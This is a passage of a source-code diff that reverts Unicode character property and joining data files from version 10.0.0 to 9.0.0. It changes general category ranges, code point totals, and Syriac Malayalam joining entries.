Lo # [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; Lo # BENGALI LETTER VEDIC ANUSVARA 0A05..0A0A ; Lo # [6] GURMUKHI LETTER A..GURMUKHI LETTER UU 0A0F..0A10 ; Lo # [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI 0A13..0A28 ; Lo # [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA @@ -2243,12 +2230,12 @@ FF9E..FF9F ; Lm # [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDTH KATAK 309F ; Lo # HIRAGANA DIGRAPH YORI 30A1..30FA ; Lo # [90] KATAKANA LETTER SMALL A..KATAKANA LETTER VO 30FF ; Lo # KATAKANA DIGRAPH KOTO -3105..312E ; Lo # [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; Lo # [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; Lo # [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; Lo # [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY 31F0..31FF ; Lo # [16] KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO 3400..4DB5 ; Lo # [6582] CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5 -4E00..9FEA ; Lo # [20971] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FEA +4E00..9FD5 ; Lo # [20950] CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FD5 A000..A014 ; Lo # [21] YI SYLLABLE IT..YI SYLLABLE E A016..A48C ; Lo # [1143] YI SYLLABLE BIT..YI SYLLABLE YYR A4D0..A4F7 ; Lo # [40] LISU LETTER BA..LISU LETTER OE @@ -2332,7 +2319,7 @@ FFDA..FFDC ; Lo # [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I 10280..1029C ; Lo # [29] LYCIAN LETTER A..LYCIAN LETTER X 102A0..102D0 ; Lo # [49] CARIAN LETTER A..CARIAN LETTER UUU3 10300..1031F ; Lo # [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; Lo # [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; Lo # [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10342..10349 ; Lo # [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 10350..10375 ; Lo # [38] OLD PERMIC LETTER AN..OLD PERMIC LETTER IA 10380..1039D ; Lo # [30] UGARITIC LETTER ALPA..UGARITIC LETTER SSU @@ -2410,21 +2397,11 @@ FFDA..FFDC ; Lo # [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I 11680..116AA ; Lo # [43] TAKRI LETTER A..TAKRI LETTER RRA 11700..11719 ; Lo # [26] AHOM LETTER KA..AHOM LETTER JHA 118FF ; Lo # WARANG CITI OM -11A00 ; Lo # ZANABAZAR SQUARE LETTER A -11A0B..11A32 ; Lo # [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A3A ; Lo # ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A50 ; Lo # SOYOMBO LETTER A -11A5C..11A83 ; Lo # [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; Lo # [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA 11AC0..11AF8 ; Lo # [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; Lo # [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; Lo # [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA 11C40 ; Lo # BHAIKSUKI SIGN AVAGRAHA 11C72..11C8F ; Lo # [30] MARCHEN LETTER KA..MARCHEN LETTER A -11D00..11D06 ; Lo # [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; Lo # [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; Lo # [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D46 ; Lo # MASARAM GONDI REPHA 12000..12399 ; Lo # [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12480..12543 ; Lo # [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU 13000..1342E ; Lo # [1071] EGYPTIAN HIEROGLYPH A001..EGYPTIAN HIEROGLYPH AA032 @@ -2439,8 +2416,7 @@ FFDA..FFDC ; Lo # [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I 16F50 ; Lo # MIAO LETTER NASALIZATION 17000..187EC ; Lo # [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC 18800..18AF2 ; Lo # [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755 -1B000..1B11E ; Lo # [287] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER N-MU-MO-2 -1B170..1B2FB ; Lo # [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB +1B000..1B001 ; Lo # [2] KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE 1BC00..1BC6A ; Lo # [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; Lo # [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; Lo # [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -2483,10 +2459,9 @@ FFDA..FFDC ; Lo # [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I 2A700..2B734 ; Lo # [4149] CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734 2B740..2B81D ; Lo # [222] CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D 2B820..2CEA1 ; Lo # [5762] CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1 -2CEB0..2EBE0 ; Lo # [7473] CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0 2F800..2FA1D ; Lo # [542] CJK COMPATIBILITY IDEOGRAPH-2F800..CJK COMPATIBILITY IDEOGRAPH-2FA1D -# Total code points: 121047 +# Total code points: 112721 # ================================================ @@ -2542,7 +2517,6 @@ FFDA..FFDC ; Lo # [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I 0AC7..0AC8 ; Mn # [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI 0ACD ; Mn # GUJARATI SIGN VIRAMA 0AE2..0AE3 ; Mn # [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; Mn # [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; Mn # ORIYA SIGN CANDRABINDU 0B3C ; Mn # ORIYA SIGN NUKTA 0B3F ; Mn # ORIYA VOWEL SIGN I @@ -2565,8 +2539,7 @@ FFDA..FFDC ; Lo # [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I 0CC6 ; Mn # KANNADA VOWEL SIGN E 0CCC..0CCD ; Mn # [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CE2..0CE3 ; Mn # [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; Mn # [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU -0D3B..0D3C ; Mn # [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA +0D01 ; Mn # MALAYALAM SIGN CANDRABINDU 0D41..0D44 ; Mn # [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D4D ; Mn # MALAYALAM SIGN VIRAMA 0D62..0D63 ; Mn # [2] MALAYALAM VOWEL SIGN VOCALIC L..MALAYALAM VOWEL SIGN VOCALIC LL @@ -2650,7 +2623,7 @@ FFDA..FFDC ; Lo # [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL LETTER I 1CED ; Mn # VEDIC SIGN TIRYAK 1CF4 ; Mn # VEDIC TONE CANDRA ABOVE 1CF8..1CF9 ; Mn # [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; Mn # [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; Mn # [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; Mn # [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 20D0..20DC ; Mn # [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE 20E1 ; Mn # COMBINING LEFT RIGHT ARROW ABOVE @@ -2749,15 +2722,6 @@ FE20..FE2F ; Mn # [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC TITL 1171D..1171F ; Mn # [3] AHOM CONSONANT SIGN MEDIAL LA..AHOM CONSONANT SIGN MEDIAL LIGATING RA 11722..11725 ; Mn # [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11727..1172B ; Mn # [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11A01..11A06 ; Mn # [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A09..11A0A ; Mn # [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; Mn # [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A3B..11A3E ; Mn # [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; Mn # ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; Mn # [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A59..11A5B ; Mn # [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; Mn # [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A98..11A99 ; Mn # [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C30..11C36 ; Mn # [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; Mn # [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA 11C3F ; Mn # BHAIKSUKI SIGN VIRAMA @@ -2765,11 +2729,6 @@ FE20..FE2F ; Mn # [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC TITL 11CAA..11CB0 ; Mn # [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA 11CB2..11CB3 ; Mn # [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB5..11CB6 ; Mn # [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; Mn # [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Mn # MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Mn # [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; Mn # [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; Mn # MASARAM GONDI RA-KARA 16AF0..16AF4 ; Mn # [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; Mn # [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F8F..16F92 ; Mn # [4] MIAO TONE RIGHT..MIAO TONE BELOW @@ -2794,7 +2753,7 @@ FE20..FE2F ; Mn # [16] COMBINING LIGATURE LEFT HALF..COMBINING CYRILLIC TITL 1E944..1E94A ; Mn # [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA E0100..E01EF ; Mn # [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 1763 +# Total code points: 1690 # ================================================ @@ -2899,7 +2858,6 @@ A670..A672 ; Me # [3] COMBINING CYRILLIC TEN MILLIONS SIGN..COMBINING CYRIL 1C34..1C35 ; Mc # [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG 1CE1 ; Mc # VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA 1CF2..1CF3 ; Mc # [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA -1CF7 ; Mc # VEDIC SIGN ATIKRAMA 302E..302F ; Mc # [2] HANGUL SINGLE DOT TONE MARK..HANGUL DOUBLE DOT TONE MARK A823..A824 ; Mc # [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I A827 ; Mc # SYLOTI NAGRI VOWEL SIGN OO @@ -2960,10 +2918,6 @@ ABEC ; Mc # MEETEI MAYEK LUM IYEK 116B6 ; Mc # TAKRI SIGN VIRAMA 11720..11721 ; Mc # [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA 11726 ; Mc # AHOM VOWEL SIGN E -11A07..11A08 ; Mc # [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A39 ; Mc # ZANABAZAR SQUARE SIGN VISARGA -11A57..11A58 ; Mc # [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A97 ; Mc # SOYOMBO SIGN VISARGA 11C2F ; Mc # BHAIKSUKI VOWEL SIGN AA 11C3E ; Mc # BHAIKSUKI SIGN VISARGA 11CA9 ; Mc # MARCHEN SUBJOINED LETTER YA @@ -2973,7 +2927,7 @@ ABEC ; Mc # MEETEI MAYEK LUM IYEK 1D165..1D166 ; Mc # [2] MUSICAL SYMBOL COMBINING STEM..MUSICAL SYMBOL COMBINING SPRECHGESANG STEM 1D16D..1D172 ; Mc # [6] MUSICAL SYMBOL COMBINING AUGMENTATION DOT..MUSICAL SYMBOL COMBINING FLAG-5 -# Total code points: 401 +# Total code points: 394 # ================================================ @@ -3029,13 +2983,12 @@ FF10..FF19 ; Nd # [10] FULLWIDTH DIGIT ZERO..FULLWIDTH DIGIT NINE 11730..11739 ; Nd # [10] AHOM DIGIT ZERO..AHOM DIGIT NINE 118E0..118E9 ; Nd # [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 11C50..11C59 ; Nd # [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE -11D50..11D59 ; Nd # [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 16A60..16A69 ; Nd # [10] MRO DIGIT ZERO..MRO DIGIT NINE 16B50..16B59 ; Nd # [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE 1D7CE..1D7FF ; Nd # [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE 1E950..1E959 ; Nd # [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE -# Total code points: 590 +# Total code points: 580 # ================================================ @@ -3439,7 +3392,6 @@ FF3F ; Pc # FULLWIDTH LOW LINE 085E ; Po # MANDAIC PUNCTUATION 0964..0965 ; Po # [2] DEVANAGARI DANDA..DEVANAGARI DOUBLE DANDA 0970 ; Po # DEVANAGARI ABBREVIATION SIGN -09FD ; Po # BENGALI ABBREVIATION SIGN 0AF0 ; Po # GUJARATI ABBREVIATION SIGN 0DF4 ; Po # SINHALA PUNCTUATION KUNDDALIYA 0E4F ; Po # THAI CHARACTER FONGMAN @@ -3491,7 +3443,7 @@ FF3F ; Pc # FULLWIDTH LOW LINE 2E30..2E39 ; Po # [10] RING POINT..TOP HALF SECTION SIGN 2E3C..2E3F ; Po # [4] STENOGRAPHIC FULL STOP..CAPITULUM 2E41 ; Po # REVERSED COMMA -2E43..2E49 ; Po # [7] DASH WITH LEFT UPTURN..DOUBLE STACKED COMMA +2E43..2E44 ; Po # [2] DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK 3001..3003 ; Po # [3] IDEOGRAPHIC COMMA..DITTO MARK 303D ; Po # PART ALTERNATION MARK 30FB ; Po # KATAKANA MIDDLE DOT @@ -3563,9 +3515,6 @@ FF64..FF65 ; Po # [2] HALFWIDTH IDEOGRAPHIC COMMA..HALFWIDTH KATAKANA MIDDL 11641..11643 ; Po # [3] MODI DANDA..MODI ABBREVIATION SIGN 11660..1166C ; Po # [13] MONGOLIAN BIRGA WITH ORNAMENT..MONGOLIAN TURNED SWIRL BIRGA WITH DOUBLE ORNAMENT 1173C..1173E ; Po # [3] AHOM SIGN SMALL SECTION..AHOM SIGN RULAI -11A3F..11A46 ; Po # [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK -11A9A..11A9C ; Po # [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD -11A9E..11AA2 ; Po # [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2 11C41..11C45 ; Po # [5] BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2 11C70..11C71 ; Po # [2] MARCHEN HEAD MARK..MARCHEN MARK SHAD 12470..12474 ; Po # [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON @@ -3577,7 +3526,7 @@ FF64..FF65 ; Po # [2] HALFWIDTH IDEOGRAPHIC COMMA..HALFWIDTH KATAKANA MIDDL 1DA87..1DA8B ; Po # [5] SIGNWRITING COMMA..SIGNWRITING PARENTHESIS 1E95E..1E95F ; Po # [2] ADLAM INITIAL EXCLAMATION MARK..ADLAM INITIAL QUESTION MARK -# Total code points: 566 +# Total code points: 544 # ================================================ @@ -3664,7 +3613,7 @@ FFE9..FFEC ; Sm # [4] HALFWIDTH LEFTWARDS ARROW..HALFWIDTH DOWNWARDS ARROW 0BF9 ; Sc # TAMIL RUPEE SIGN 0E3F ; Sc # THAI CURRENCY SYMBOL BAHT 17DB ; Sc # KHMER CURRENCY SYMBOL RIEL -20A0..20BF ; Sc # [32] EURO-CURRENCY SIGN..BITCOIN SIGN +20A0..20BE ; Sc # [31] EURO-CURRENCY SIGN..LARI SIGN A838 ; Sc # NORTH INDIC RUPEE MARK FDFC ; Sc # RIAL SIGN FE69 ; Sc # SMALL DOLLAR SIGN @@ -3672,7 +3621,7 @@ FF04 ; Sc # FULLWIDTH DOLLAR SIGN FFE0..FFE1 ; Sc # [2] FULLWIDTH CENT SIGN..FULLWIDTH POUND SIGN FFE5..FFE6 ; Sc # [2] FULLWIDTH YEN SIGN..FULLWIDTH WON SIGN -# Total code points: 54 +# Total code points: 53 # ================================================ @@ -3779,7 +3728,8 @@ FFE3 ; Sk # FULLWIDTH MACRON 232B..237B ; So # [81] ERASE TO THE LEFT..NOT CHECK MARK 237D..239A ; So # [30] SHOULDERED OPEN BOX..CLEAR SCREEN SYMBOL 23B4..23DB ; So # [40] TOP SQUARE BRACKET..FUSE -23E2..2426 ; So # [69] WHITE TRAPEZIUM..SYMBOL FOR SUBSTITUTE FORM TWO +23E2..23FE ; So # [29] WHITE TRAPEZIUM..POWER SLEEP SYMBOL +2400..2426 ; So # [39] SYMBOL FOR NULL..SYMBOL FOR SUBSTITUTE FORM TWO 2440..244A ; So # [11] OCR HOOK..OCR DOUBLE BACKSLASH 249C..24E9 ; So # [78] PARENTHESIZED LATIN SMALL LETTER A..CIRCLED LATIN SMALL LETTER Z 2500..25B6 ; So # [183] BOX DRAWINGS LIGHT HORIZONTAL..BLACK RIGHT-POINTING TRIANGLE @@ -3795,7 +3745,7 @@ FFE3 ; Sk # FULLWIDTH MACRON 2B76..2B95 ; So # [32] NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW 2B98..2BB9 ; So # [34] THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX 2BBD..2BC8 ; So # [12] BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED -2BCA..2BD2 ; So # [9] TOP HALF BLACK CIRCLE..GROUP MARK +2BCA..2BD1 ; So # [8] TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN 2BEC..2BEF ; So # [4] LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS..DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS 2CE5..2CEA ; So # [6] COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA 2E80..2E99 ; So # [26] CJK RADICAL REPEAT..CJK RADICAL RAP @@ -3868,11 +3818,10 @@ FFFC..FFFD ; So # [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 1F210..1F23B ; So # [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D 1F240..1F248 ; So # [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557 1F250..1F251 ; So # [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT -1F260..1F265 ; So # [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI 1F300..1F3FA ; So # [251] CYCLONE..AMPHORA -1F400..1F6D4 ; So # [725] RAT..PAGODA +1F400..1F6D2 ; So # [723] RAT..SHOPPING TROLLEY 1F6E0..1F6EC ; So # [13] HAMMER AND WRENCH..AIRPLANE ARRIVING -1F6F0..1F6F8 ; So # [9] SATELLITE..FLYING SAUCER +1F6F0..1F6F6 ; So # [7] SATELLITE..CANOE 1F700..1F773 ; So # [116] ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE 1F780..1F7D4 ; So # [85] BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR 1F800..1F80B ; So # [12] LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD @@ -3880,15 +3829,16 @@ FFFC..FFFD ; So # [2] OBJECT REPLACEMENT CHARACTER..REPLACEMENT CHARACTER 1F850..1F859 ; So # [10] LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW 1F860..1F887 ; So # [40] WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW 1F890..1F8AD ; So # [30] LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS -1F900..1F90B ; So # [12] CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT -1F910..1F93E ; So # [47] ZIPPER-MOUTH FACE..HANDBALL -1F940..1F94C ; So # [13] WILTED FLOWER..CURLING STONE -1F950..1F96B ; So # [28] CROISSANT..CANNED FOOD -1F980..1F997 ; So # [24] CRAB..CRICKET +1F910..1F91E ; So # [15] ZIPPER-MOUTH FACE..HAND WITH INDEX AND MIDDLE FINGERS CROSSED +1F920..1F927 ; So # [8] FACE WITH COWBOY HAT..SNEEZING FACE +1F930 ; So # PREGNANT WOMAN +1F933..1F93E ; So # [12] SELFIE..HANDBALL +1F940..1F94B ; So # [12] WILTED FLOWER..MARTIAL ARTS UNIFORM +1F950..1F95E ; So # [15] CROISSANT..PANCAKES +1F980..1F991 ; So # [18] CRAB..SQUID 1F9C0 ; So # CHEESE WEDGE -1F9D0..1F9E6 ; So # [23] FACE WITH MONOCLE..SOCKS -# Total code points: 5855 +# Total code points: 5777 # ================================================ diff --git a/lib/unicore/extracted/DJoinGroup.txt b/lib/unicore/extracted/DJoinGroup.txt index d1318f75fce8..548621d91885 100644 --- a/lib/unicore/extracted/DJoinGroup.txt +++ b/lib/unicore/extracted/DJoinGroup.txt @@ -1,6 +1,6 @@ -# DerivedJoiningGroup-10.0.0.txt -# Date: 2017-02-17, 04:46:04 GMT -# © 2017 Unicode®, Inc. +# DerivedJoiningGroup-9.0.0.txt +# Date: 2016-03-02, 18:54:59 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -633,70 +633,4 @@ # Total code points: 1 -# ================================================ - -0860 ; Malayalam_Nga # Lo SYRIAC LETTER MALAYALAM NGA - -# Total code points: 1 - -# ================================================ - -0861 ; Malayalam_Ja # Lo SYRIAC LETTER MALAYALAM JA - -# Total code points: 1 - -# ================================================ - -0862 ; Malayalam_Nya # Lo SYRIAC LETTER MALAYALAM NYA - -# Total code points: 1 - -# ================================================ - -0863 ; Malayalam_Tta # Lo SYRIAC LETTER MALAYALAM TTA - -# Total code points: 1 - -# ================================================ - -0864 ; Malayalam_Nna # Lo SYRIAC LETTER MALAYALAM NNA - -# Total code points: 1 - -# ================================================ - -0865 ; Malayalam_Nnna # Lo SYRIAC LETTER MALAYALAM NNNA - -# Total code points: 1 - -# ================================================ - -0866 ; Malayalam_Bha # Lo SYRIAC LETTER MALAYALAM BHA - -# Total code points: 1 - -# ================================================ - -0867 ; Malayalam_Ra # Lo SYRIAC LETTER MALAYALAM RA - -# Total code points: 1 - -# ================================================ - -0868 ; Malayalam_Lla # Lo SYRIAC LETTER MALAYALAM LLA - -# Total code points: 1 - -# ================================================ - -0869 ; Malayalam_Llla # Lo SYRIAC LETTER MALAYALAM LLLA - -# Total code points: 1 - -# ================================================ - -086A ; Malayalam_Ssa # Lo SYRIAC LETTER MALAYALAM SSA - -# Total code points: 1 - # EOF diff --git a/lib/unicore/extracted/DJoinType.txt b/lib/unicore/extracted/DJoinType.txt index ea351f5eff59..0fb5439afd72 100644 --- a/lib/unicore/extracted/DJoinType.txt +++ b/lib/unicore/extracted/DJoinType.txt @@ -1,6 +1,6 @@ -# DerivedJoiningType-10.0.0.txt -# Date: 2017-03-08, 08:41:50 GMT -# © 2017 Unicode®, Inc. +# DerivedJoiningType-9.0.0.txt +# Date: 2016-06-01, 10:34:26 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -64,9 +64,6 @@ 0848 ; D # Lo MANDAIC LETTER ATT 084A..0853 ; D # Lo [10] MANDAIC LETTER AK..MANDAIC LETTER AR 0855 ; D # Lo MANDAIC LETTER AT -0860 ; D # Lo SYRIAC LETTER MALAYALAM NGA -0862..0865 ; D # Lo [4] SYRIAC LETTER MALAYALAM NYA..SYRIAC LETTER MALAYALAM NNNA -0868 ; D # Lo SYRIAC LETTER MALAYALAM LLA 08A0..08A9 ; D # Lo [10] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE 08AF..08B0 ; D # Lo [2] ARABIC LETTER SAD WITH THREE DOTS BELOW..ARABIC LETTER GAF WITH INVERTED STROKE 08B3..08B4 ; D # Lo [2] ARABIC LETTER AIN WITH THREE DOTS BELOW..ARABIC LETTER KAF WITH DOT BELOW @@ -93,7 +90,7 @@ A840..A871 ; D # Lo [50] PHAGS-PA LETTER KA..PHAGS-PA SUBJOINED LETTER RA 10BAD..10BAE ; D # No [2] PSALTER PAHLAVI NUMBER TEN..PSALTER PAHLAVI NUMBER TWENTY 1E900..1E943 ; D # L& [68] ADLAM CAPITAL LETTER ALIF..ADLAM SMALL LETTER SHA -# Total code points: 507 +# Total code points: 501 # ================================================ @@ -131,8 +128,6 @@ A840..A871 ; D # Lo [50] PHAGS-PA LETTER KA..PHAGS-PA SUBJOINED LETTER RA 0846..0847 ; R # Lo [2] MANDAIC LETTER AZ..MANDAIC LETTER IT 0849 ; R # Lo MANDAIC LETTER AKSA 0854 ; R # Lo MANDAIC LETTER ASH -0867 ; R # Lo SYRIAC LETTER MALAYALAM RA -0869..086A ; R # Lo [2] SYRIAC LETTER MALAYALAM LLLA..SYRIAC LETTER MALAYALAM SSA 08AA..08AC ; R # Lo [3] ARABIC LETTER REH WITH LOOP..ARABIC LETTER ROHINGYA YEH 08AE ; R # Lo ARABIC LETTER DAL WITH THREE DOTS BELOW 08B1..08B2 ; R # Lo [2] ARABIC LETTER STRAIGHT WAW..ARABIC LETTER ZAIN WITH INVERTED V ABOVE @@ -153,7 +148,7 @@ A840..A871 ; D # Lo [50] PHAGS-PA LETTER KA..PHAGS-PA SUBJOINED LETTER RA 10B91 ; R # Lo PSALTER PAHLAVI LETTER TAW 